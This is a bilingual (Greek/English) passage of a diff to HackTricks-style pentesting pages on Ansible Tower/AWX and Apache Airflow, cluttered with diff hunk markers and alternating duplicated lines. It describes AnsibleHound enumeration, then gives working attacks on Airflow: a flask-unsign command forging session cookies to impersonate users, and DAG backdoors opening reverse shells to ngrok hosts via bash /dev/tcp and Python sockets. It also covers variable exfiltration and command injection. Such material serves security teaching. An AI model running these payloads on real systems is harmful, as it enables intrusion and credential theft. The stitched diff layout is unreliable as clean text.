- **Admin**: Μπορεί να διαχειρίζεται και να τροποποιεί τα διαπιστευτήρια.
- **Use**: Μπορεί να χρησιμοποιεί τα διαπιστευτήρια σε πρότυπα εργασιών ή άλλους σχετικούς πόρους.
- **Read**: Πρόσβαση μόνο για προβολή.
- **Admin**: Can manage and modify the credentials.
- **Use**: Can use the credentials in job templates or other relevant resources.
- **Read**: View-only access.
8. **Team Roles**:
- **Member**: Μέλος της ομάδας αλλά χωρίς συγκεκριμένα δικαιώματα.
- **Admin**: Μπορεί να διαχειρίζεται τα μέλη της ομάδας και τους σχετικούς πόρους.
- **Member**: Part of the team but without any specific permissions.
- **Admin**: Can manage the team's members and associated resources.
9. **Workflow Roles**:
- **Admin**: Μπορεί να διαχειρίζεται και να τροποποιεί τη ροή εργασίας.
- **Execute**: Μπορεί να εκτελεί τη ροή εργασίας.
- **Read**: Πρόσβαση μόνο για προβολή.
- **Admin**: Can manage and modify the workflow.
- **Execute**: Can run the workflow.
- **Read**: View-only access.
</details>
## Enumeration & Attack-Path Mapping with AnsibleHound
`AnsibleHound` είναι ένας ανοιχτού κώδικα συλλέκτης BloodHound *OpenGraph* γραμμένος σε Go που μετατρέπει ένα **read-only** Ansible Tower/AWX/Automation Controller API token σε ένα πλήρες γράφημα δικαιωμάτων έτοιμο προς ανάλυση μέσα στο BloodHound (ή BloodHound Enterprise).
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
### Why is this useful?
1. Το Tower/AWX REST API είναι εξαιρετικά πλούσιο και εκθέτει **κάθε αντικείμενο και σχέση RBAC** που γνωρίζει η εγκατάστασή σας.
2. Ακόμα και με το χαμηλότερο προνόμιο (**Read**) token είναι δυνατόν να καταμετρηθούν αναδρομικά όλοι οι προσβάσιμοι πόροι (οργανώσεις, αποθέματα, hosts, διαπιστευτήρια, έργα, πρότυπα εργασιών, χρήστες, ομάδες…).
3. Όταν τα ακατέργαστα δεδομένα μετατραπούν στο σχήμα BloodHound, αποκτάτε τις ίδιες δυνατότητες οπτικοποίησης *attack-path* που είναι τόσο δημοφιλείς σε αξιολογήσεις Active Directory αλλά τώρα κατευθυνόμενες προς την CI/CD περιουσία σας.
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments but now directed at your CI/CD estate.
Οι ομάδες ασφαλείας (και οι επιτιθέμενοι!) μπορούν επομένως:
* Να κατανοήσουν γρήγορα **ποιος μπορεί να γίνει admin του τι**.
* Να εντοπίσουν **διαπιστευτήρια ή hosts που είναι προσβάσιμα** από έναν μη προνομιούχο λογαριασμό.
* Να συνδυάσουν πολλαπλές “Read ➜ Use ➜ Execute ➜ Admin” ακμές για να αποκτήσουν πλήρη έλεγχο πάνω στην εγκατάσταση Tower ή την υποκείμενη υποδομή.
Security teams (and attackers!) can therefore:
* Quickly understand **who can become admin of what**.
* Identify **credentials or hosts that are reachable** from an unprivileged account.
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
### Prerequisites
* Ansible Tower / AWX / Automation Controller προσβάσιμο μέσω HTTPS.
* Ένα token API χρήστη περιορισμένο σε **Read** μόνο (δημιουργημένο από *User Details → Tokens → Create Token → scope = Read*).
* Go ≥ 1.20 για να συντάξετε τον συλλέκτη (ή να χρησιμοποιήσετε τα προ-κατασκευασμένα δυαδικά αρχεία).
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
### Building & Running
```bash
@@ -162,7 +164,7 @@ go build . -o build/ansiblehound
# Execute against the target instance
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
```
Εσωτερικά, το AnsibleHound εκτελεί *σελιδοποιημένα* `GET` αιτήματα κατά των (τουλάχιστον) παρακάτω τελικών σημείων και ακολουθεί αυτόματα τους `related` συνδέσμους που επιστρέφονται σε κάθε αντικείμενο JSON:
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
```
/api/v2/organizations/
/api/v2/inventories/
@@ -173,32 +175,37 @@ go build . -o build/ansiblehound
/api/v2/users/
/api/v2/teams/
```
Όλες οι συλλεγμένες σελίδες συγχωνεύονται σε ένα μόνο αρχείο JSON στον δίσκο (προεπιλογή: `ansiblehound-output.json`).
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
### Μετασχηματισμός BloodHound
Τα ακατέργαστα δεδομένα του Tower **μετασχηματίζονται σε BloodHound OpenGraph** χρησιμοποιώντας προσαρμοσμένους κόμβους που ξεκινούν με `AT` (Ansible Tower):
### BloodHound Transformation
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
Και ακμές που μοντελοποιούν σχέσεις / προνόμια:
And edges modelling relationships / privileges:
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
Το αποτέλεσμα μπορεί να εισαχθεί απευθείας στο BloodHound:
The result can be imported straight into BloodHound:
```bash
neo4j stop # if BloodHound CE is running locally
bloodhound-import ansiblehound-output.json
```
Προαιρετικά, μπορείτε να ανεβάσετε **προσαρμοσμένα εικονίδια** ώστε οι νέοι τύποι κόμβων να είναι οπτικά διακριτοί:
Optionally you can upload **custom icons** so that the new node types are visually distinct:
```bash
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
```
### Αμυντικές & Επιθετικές Σκέψεις
* Ένα *Read* token θεωρείται συνήθως ακίνδυνο αλλά ακόμα διαρρέει την **πλήρη τοπολογία και όλα τα μεταδεδομένα διαπιστευτηρίων**. Αντιμετωπίστε το ως ευαίσθητο!
* Επιβάλετε **ελάχιστο δικαίωμα** και περιστρέψτε / ανακαλέστε τα μη χρησιμοποιούμενα tokens.
* Παρακολουθήστε το API για υπερβολική αρίθμηση (πολλαπλά διαδοχικά `GET` αιτήματα, υψηλή δραστηριότητα σε σελίδες).
* Από την οπτική γωνία ενός επιτιθέμενου, αυτή είναι μια τέλεια τεχνική *αρχικής πρόσβασης → κλιμάκωσης δικαιωμάτων* μέσα στην CI/CD pipeline.
## Αναφορές
### Defensive & Offensive Considerations
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
* Enforce **least privilege** and rotate / revoke unused tokens.
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
## References
* [AnsibleHound BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -4,19 +4,20 @@
### Basic Information
[**Apache Airflow**](https://airflow.apache.org) λειτουργεί ως πλατφόρμα για **τον προγραμματισμό και την εκτέλεση ροών δεδομένων ή εργασιών**. Ο όρος "ορχήστρωση" στο πλαίσιο των ροών δεδομένων σημαίνει τη διαδικασία οργάνωσης, συντονισμού και διαχείρισης σύνθετων ροών εργασίας δεδομένων που προέρχονται από διάφορες πηγές. Ο κύριος σκοπός αυτών των ορχηστρωμένων ροών δεδομένων είναι να παρέχουν επεξεργασμένα και καταναλώσιμα σύνολα δεδομένων. Αυτά τα σύνολα δεδομένων χρησιμοποιούνται εκτενώς από μια πληθώρα εφαρμογών, συμπεριλαμβανομένων αλλά όχι περιορισμένων σε εργαλεία επιχειρηματικής ευφυΐας, μοντέλα επιστήμης δεδομένων και μηχανικής μάθησης, τα οποία είναι θεμελιώδη για τη λειτουργία εφαρμογών μεγάλων δεδομένων.
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
Βασικά, το Apache Airflow θα σας επιτρέψει να **προγραμματίσετε την εκτέλεση κώδικα όταν κάτι** (γεγονός, cron) **συμβαίνει**.
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
### Local Lab
#### Docker-Compose
Μπορείτε να χρησιμοποιήσετε το **docker-compose config file από** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) για να εκκινήσετε ένα πλήρες περιβάλλον docker apache airflow. (Αν είστε σε MacOS, βεβαιωθείτε ότι δίνετε τουλάχιστον 6GB RAM στη VM docker).
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
#### Minikube
Ένας εύκολος τρόπος για να **τρέξετε το apache airflow** είναι να το τρέξετε **με το minikube**:
One easy way to **run apache airflo**w is to run it **with minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -26,72 +27,76 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
### Ρύθμιση Airflow
Το Airflow μπορεί να αποθηκεύει **ευαίσθητες πληροφορίες** στη ρύθμισή του ή μπορεί να βρείτε αδύναμες ρυθμίσεις:
### Airflow Configuration
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
{{#ref}}
airflow-configuration.md
{{#endref}}
### RBAC Airflow
### Airflow RBAC
Πριν ξεκινήσετε να επιτίθεστε στο Airflow, θα πρέπει να κατανοήσετε **πώς λειτουργούν οι άδειες**:
Before start attacking Airflow you should understand **how permissions work**:
{{#ref}}
airflow-rbac.md
{{#endref}}
### Επιθέσεις
### Attacks
#### Αριθμητική κονσόλας ιστού
#### Web Console Enumeration
Εάν έχετε **πρόσβαση στην κονσόλα ιστού**, μπορεί να μπορείτε να αποκτήσετε πρόσβαση σε ορισμένες ή όλες τις παρακάτω πληροφορίες:
If you have **access to the web console** you might be able to access some or all of the following information:
- **Μεταβλητές** (Προσαρμοσμένες ευαίσθητες πληροφορίες μπορεί να αποθηκεύονται εδώ)
- **Συνδέσεις** (Προσαρμοσμένες ευαίσθητες πληροφορίες μπορεί να αποθηκεύονται εδώ)
- Πρόσβαση σε αυτές στο `http://<airflow>/connection/list/`
- [**Ρύθμιση**](./#airflow-configuration) (Ευαίσθητες πληροφορίες όπως το **`secret_key`** και κωδικοί πρόσβασης μπορεί να αποθηκεύονται εδώ)
- Λίστα **χρηστών & ρόλων**
- **Κώδικας κάθε DAG** (ο οποίος μπορεί να περιέχει ενδιαφέρουσες πληροφορίες)
- **Variables** (Custom sensitive information might be stored here)
- **Connections** (Custom sensitive information might be stored here)
- Access them in `http://<airflow>/connection/list/`
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
- List **users & roles**
- **Code of each DAG** (which might contain interesting info)
#### Ανάκτηση Τιμών Μεταβλητών
#### Retrieve Variables Values
Οι μεταβλητές μπορούν να αποθηκεύονται στο Airflow ώστε οι **DAGs** να μπορούν να **προσεγγίζουν** τις τιμές τους. Είναι παρόμοιο με τα μυστικά άλλων πλατφορμών. Εάν έχετε **αρκετές άδειες**, μπορείτε να τις αποκτήσετε μέσω της GUI στο `http://<airflow>/variable/list/`.\
Το Airflow από προεπιλογή θα δείξει την τιμή της μεταβλητής στη GUI, ωστόσο, σύμφωνα με [**αυτό**](https://marclamberti.com/blog/variables-with-apache-airflow/), είναι δυνατόν να ορίσετε μια **λίστα μεταβλητών** των οποίων η **τιμή** θα εμφανίζεται ως **αστερίσκοι** στη **GUI**.
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
![](<../../images/image (164).png>)
Ωστόσο, αυτές οι **τιμές** μπορούν να **ανακτηθούν** μέσω **CLI** (χρειάζεστε πρόσβαση στη βάση δεδομένων), **εκτέλεση αυθαίρετου DAG**, **API** που αποκτά πρόσβαση στο endpoint μεταβλητών (η API πρέπει να είναι ενεργοποιημένη), και **ακόμα και η ίδια η GUI!**\
Για να αποκτήσετε πρόσβαση σε αυτές τις τιμές από τη GUI, απλώς **επιλέξτε τις μεταβλητές** που θέλετε να αποκτήσετε πρόσβαση και **κάντε κλικ σε Ενέργειες -> Εξαγωγή**.\
Ένας άλλος τρόπος είναι να εκτελέσετε μια **bruteforce** στην **κρυφή τιμή** χρησιμοποιώντας το **φιλτράρισμα αναζήτησης** μέχρι να την αποκτήσετε:
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
![](<../../images/image (152).png>)
#### Κλιμάκωση Δικαιωμάτων
#### Privilege Escalation
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
Εάν η ρύθμιση **`expose_config`** είναι ρυθμισμένη σε **True**, από το **ρόλο Χρήστη** και **πάνω** μπορούν να **διαβάσουν** τη **ρύθμιση στο διαδίκτυο**. Σε αυτή τη ρύθμιση, εμφανίζεται το **`secret_key`**, που σημαίνει ότι οποιοσδήποτε χρήστης με αυτό το έγκυρο μπορεί να **δημιουργήσει το δικό του υπογεγραμμένο cookie για να προσποιηθεί οποιονδήποτε άλλο λογαριασμό χρήστη**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE in Airflow worker)
Αν έχετε **δικαιώματα εγγραφής** στον χώρο όπου αποθηκεύονται οι **DAGs**, μπορείτε απλά να **δημιουργήσετε έναν** που θα σας στείλει μια **reverse shell.**\
Σημειώστε ότι αυτή η reverse shell θα εκτελείται μέσα σε ένα **airflow worker container**:
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
Note that this reverse shell is going to be executed inside an **airflow worker container**:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
```
```python
@@ -100,66 +105,74 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE in Airflow scheduler)
Αν ορίσετε κάτι να **εκτελείται στη ρίζα του κώδικα**, τη στιγμή που γράφεται αυτό, θα **εκτελείται από τον προγραμματιστή** μετά από μερικά δευτερόλεπτα αφού το τοποθετήσετε μέσα στον φάκελο του DAG.
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### Δημιουργία DAG
Αν καταφέρετε να **συμβιβάσετε μια μηχανή μέσα στο DAG cluster**, μπορείτε να δημιουργήσετε νέα **σενάρια DAG** στον φάκελο `dags/` και θα **αντιγραφούν στις υπόλοιπες μηχανές** μέσα στο DAG cluster.
#### DAG Creation
#### Εισαγωγή Κώδικα DAG
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
Όταν εκτελείτε ένα DAG από το GUI μπορείτε να **περάσετε παραμέτρους** σε αυτό.\
Επομένως, αν το DAG δεν είναι σωστά κωδικοποιημένο, θα μπορούσε να είναι **ευάλωτο σε Command Injection.**\
Αυτό συνέβη σε αυτήν την CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
#### DAG Code Injection
Όλα όσα χρειάζεται να γνωρίζετε για να **ξεκινήσετε να αναζητάτε command injections σε DAGs** είναι ότι οι **παράμετροι** **προσπελάζονται** με τον κώδικα **`dag_run.conf.get("param_name")`**.
When you execute a DAG from the GUI you can **pass arguments** to it.\
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
Επιπλέον, η ίδια ευπάθεια μπορεί να συμβεί με **μεταβλητές** (σημειώστε ότι με αρκετά δικαιώματα θα μπορούσατε να **ελέγξετε την τιμή των μεταβλητών** στο GUI). Οι μεταβλητές **προσπελάζονται με**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
Αν χρησιμοποιούνται, για παράδειγμα, μέσα σε μια εντολή bash, θα μπορούσατε να εκτελέσετε μια ένεση εντολής.
If they are used for example inside a a bash command, you could perform a command injection.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,102 +4,111 @@
## Configuration File
**Apache Airflow** δημιουργεί ένα **config file** σε όλες τις μηχανές airflow που ονομάζεται **`airflow.cfg`** στον φάκελο του χρήστη airflow. Αυτό το config file περιέχει πληροφορίες ρύθμισης και **μπορεί να περιέχει ενδιαφέρουσες και ευαίσθητες πληροφορίες.**
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
**Υπάρχουν δύο τρόποι για να αποκτήσετε πρόσβαση σε αυτό το αρχείο: Με την παραβίαση κάποιας μηχανής airflow ή με την πρόσβαση στην web κονσόλα.**
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
Σημειώστε ότι οι **τιμές μέσα στο config file** **μπορεί να μην είναι οι χρησιμοποιούμενες**, καθώς μπορείτε να τις αντικαταστήσετε ρυθμίζοντας μεταβλητές περιβάλλοντος όπως `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Αν έχετε πρόσβαση στο **config file στον web server**, μπορείτε να ελέγξετε την **πραγματική τρέχουσα ρύθμιση** στην ίδια σελίδα που εμφανίζεται το config.\
Αν έχετε **πρόσβαση σε κάποια μηχανή μέσα στο περιβάλλον airflow**, ελέγξτε το **περιβάλλον**.
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
If you have **access to some machine inside the airflow env**, check the **environment**.
Ορισμένες ενδιαφέρουσες τιμές για έλεγχο κατά την ανάγνωση του config file:
Some interesting values to check when reading the config file:
### \[api]
- **`access_control_allow_headers`**: Αυτό υποδεικνύει τους **επιτρεπόμενους** **headers** για **CORS**
- **`access_control_allow_methods`**: Αυτό υποδεικνύει τις **επιτρεπόμενες μεθόδους** για **CORS**
- **`access_control_allow_origins`**: Αυτό υποδεικνύει τις **επιτρεπόμενες προελεύσεις** για **CORS**
- **`auth_backend`**: [**Σύμφωνα με τα docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) μερικές επιλογές μπορούν να είναι σε εφαρμογή για να ρυθμίσουν ποιος μπορεί να έχει πρόσβαση στην API:
- `airflow.api.auth.backend.deny_all`: **Από προεπιλογή κανείς** δεν μπορεί να έχει πρόσβαση στην API
- `airflow.api.auth.backend.default`: **Όλοι μπορούν** να έχουν πρόσβαση χωρίς αυθεντικοποίηση
- `airflow.api.auth.backend.kerberos_auth`: Για να ρυθμίσετε **αυθεντικοποίηση kerberos**
- `airflow.api.auth.backend.basic_auth`: Για **βασική αυθεντικοποίηση**
- `airflow.composer.api.backend.composer_auth`: Χρησιμοποιεί την αυθεντικοποίηση composers (GCP) (από [**εδώ**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: Αυτό υποδεικνύει τον **ρόλο** που θα αποκτήσει ο **χρήστης composer** μέσα στο **airflow** (**Op** από προεπιλογή).
- Μπορείτε επίσης να **δημιουργήσετε τη δική σας μέθοδο αυθεντικοποίησης** με python.
- **`google_key_path`:** Διαδρομή προς το **GCP service account key**
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- You can also **create you own authentication** method with python.
- **`google_key_path`:** Path to the **GCP service account key**
### **\[atlas]**
- **`password`**: Κωδικός πρόσβασης Atlas
- **`username`**: Όνομα χρήστη Atlas
- **`password`**: Atlas password
- **`username`**: Atlas username
### \[celery]
- **`flower_basic_auth`** : Διαπιστευτήρια (_user1:password1,user2:password2_)
- **`result_backend`**: URL Postgres που μπορεί να περιέχει **διαπιστευτήρια**.
- **`ssl_cacert`**: Διαδρομή προς το cacert
- **`ssl_cert`**: Διαδρομή προς το cert
- **`ssl_key`**: Διαδρομή προς το key
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
- **`result_backend`**: Postgres url which may contain **credentials**.
- **`ssl_cacert`**: Path to the cacert
- **`ssl_cert`**: Path to the cert
- **`ssl_key`**: Path to the key
### \[core]
- **`dag_discovery_safe_mode`**: Ενεργοποιημένο από προεπιλογή. Κατά την ανακάλυψη DAGs, αγνοήστε οποιαδήποτε αρχεία που δεν περιέχουν τις συμβολοσειρές `DAG` και `airflow`.
- **`fernet_key`**: Κλειδί για την αποθήκευση κρυπτογραφημένων μεταβλητών (συμμετρικό)
- **`hide_sensitive_var_conn_fields`**: Ενεργοποιημένο από προεπιλογή, κρύβει ευαίσθητες πληροφορίες συνδέσεων.
- **`security`**: Ποιο μοντέλο ασφάλειας να χρησιμοποιηθεί (για παράδειγμα kerberos)
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that dont contain the strings `DAG` and `airflow`.
- **`fernet_key`**: Key to store encrypted variables (symmetric)
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
- **`security`**: What security module to use (for example kerberos)
### \[dask]
- **`tls_ca`**: Διαδρομή προς ca
- **`tls_cert`**: Διαδρομή προς το cert
- **`tls_key`**: Διαδρομή προς το tls key
- **`tls_ca`**: Path to ca
- **`tls_cert`**: Part to the cert
- **`tls_key`**: Part to the tls key
### \[kerberos]
- **`ccache`**: Διαδρομή προς το αρχείο ccache
- **`forwardable`**: Ενεργοποιημένο από προεπιλογή
- **`ccache`**: Path to ccache file
- **`forwardable`**: Enabled by default
### \[logging]
- **`google_key_path`**: Διαδρομή προς τα GCP JSON creds.
- **`google_key_path`**: Path to GCP JSON creds.
### \[secrets]
- **`backend`**: Πλήρες όνομα κλάσης του secrets backend που θα ενεργοποιηθεί
- **`backend_kwargs`**: Η παράμετρος backend_kwargs φορτώνεται σε ένα λεξικό και περνάται στο **init** της κλάσης secrets backend.
- **`backend`**: Full class name of secrets backend to enable
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
### \[smtp]
- **`smtp_password`**: Κωδικός πρόσβασης SMTP
- **`smtp_user`**: Χρήστης SMTP
- **`smtp_password`**: SMTP password
- **`smtp_user`**: SMTP user
### \[webserver]
- **`cookie_samesite`**: Από προεπιλογή είναι **Lax**, οπότε είναι ήδη η πιο αδύναμη δυνατή τιμή
- **`cookie_secure`**: Ρυθμίστε τη **σημαία ασφαλείας** στο cookie της συνεδρίας
- **`expose_config`**: Από προεπιλογή είναι False, αν είναι true, το **config** μπορεί να **διαβαστεί** από την web **κονσόλα**
- **`expose_stacktrace`**: Από προεπιλογή είναι True, θα δείξει **python tracebacks** (πιθανώς χρήσιμο για έναν επιτιθέμενο)
- **`secret_key`**: Αυτό είναι το **κλειδί που χρησιμοποιεί το flask για να υπογράψει τα cookies** (αν έχετε αυτό μπορείτε να **παριστάνετε οποιονδήποτε χρήστη στο Airflow**)
- **`web_server_ssl_cert`**: **Διαδρομή** προς το **SSL** **cert**
- **`web_server_ssl_key`**: **Διαδρομή** προς το **SSL** **Key**
- **`x_frame_enabled`**: Προεπιλογή είναι **True**, οπότε από προεπιλογή η κλοπή κλικ δεν είναι δυνατή
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
- **`cookie_secure`**: Set **secure flag** on the the session cookie
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
### Web Authentication
Από προεπιλογή η **web authentication** καθορίζεται στο αρχείο **`webserver_config.py`** και είναι ρυθμισμένη ως
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
```bash
AUTH_TYPE = AUTH_DB
```
Αυτό σημαίνει ότι η **αυθεντικοποίηση ελέγχεται σε σχέση με τη βάση δεδομένων**. Ωστόσο, είναι δυνατές και άλλες ρυθμίσεις όπως
Which means that the **authentication is checked against the database**. However, other configurations are possible like
```bash
AUTH_TYPE = AUTH_OAUTH
```
Για να αφήσετε την **αυθεντικοποίηση σε τρίτες υπηρεσίες**.
Ωστόσο, υπάρχει επίσης μια επιλογή να **επιτρέψετε την πρόσβαση σε ανώνυμους χρήστες**, ρυθμίζοντας την παρακάτω παράμετρο στο **επιθυμητό ρόλο**:
To leave the **authentication to third party services**.
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
```bash
